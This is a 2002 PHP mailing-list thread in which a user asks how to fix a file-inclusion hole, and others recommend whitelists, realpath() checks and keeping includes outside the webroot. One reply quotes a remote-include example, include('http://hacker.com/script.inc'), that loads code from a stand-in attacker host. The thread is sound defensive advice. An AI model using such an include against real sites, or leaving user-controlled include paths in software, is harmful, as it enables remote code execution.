That still wouldn't fix anything if you're including a file based on
unchecked user input. 

Make an array in your file of "safe" files to include, that can be
designated by the user. 

$safe_files = array("file1","file2","file3");

include("/path/to/include/" . $safe_files[$_GET['include']] . ".php");

or...

switch($_GET['include'])
{
  case 1: include("file1.php"); break;
  case 2: include("file2.php"); break;
}

You should really, really, rethink your design where you have to include
files based on something passed in the url.

---John Holmes...

> -----Original Message-----
> From: John Wards [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 04, 2002 6:14 AM
> To: Stas Maximov
> Cc: PHP General
> Subject: Re: [PHP] Umm... Uh-oh
> 
> ah never thought of that!
> 
> John
> 
> On Friday 04 Oct 2002 11:14 am, Stas Maximov wrote:
> > The easiest and safest way to get around this problem is to place
all
> your
> > include files outside of your webroot directory (say one level up),
so
> they
> > will be accessible locally via includes, but NOT accessible via
http.
> >
> > HTH, Stas
> >
> > ----- Original Message -----
> > From: "John Wards" <[EMAIL PROTECTED]>
> > To: "PHP" <[EMAIL PROTECTED]>
> > Sent: Friday, October 04, 2002 10:58 AM
> > Subject: Re: [PHP] Umm... Uh-oh
> >
> >
> > erm......would that alow hackers access? Say I have a database
include
> file
> > would hackers be able to get access to my database like this?
> >
> > (include('http://mysite.com/datainc.php');)
> >
> > I hope bloody not!!! if so how on earth do i get round that!
> >
> > John
> >
> > On Friday 04 Oct 2002 10:52 am, Marek Kilimajer wrote:
> > > Use realpath() to check the path. I also suspect your script is
> > > vulnarable to cross-site includes
> > > (include('http://hacker.com/script.inc');)
> > >
> > > Rick Beckman wrote:
> > > >Okay, I was mistaken... There is a gaping security hole in my
simple
> > > > li'l script... How do I modify it to only accept files from a
> certain
> > > > path? I want the url format to be script.php?call=1 where "1" is
the
> > > > called file in the /includes/ directory. Just when I get
optimistic
> I
> > > > leave the entire system exposed. Yeah, that fits with my luck.
:-)
> 
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Reply via email to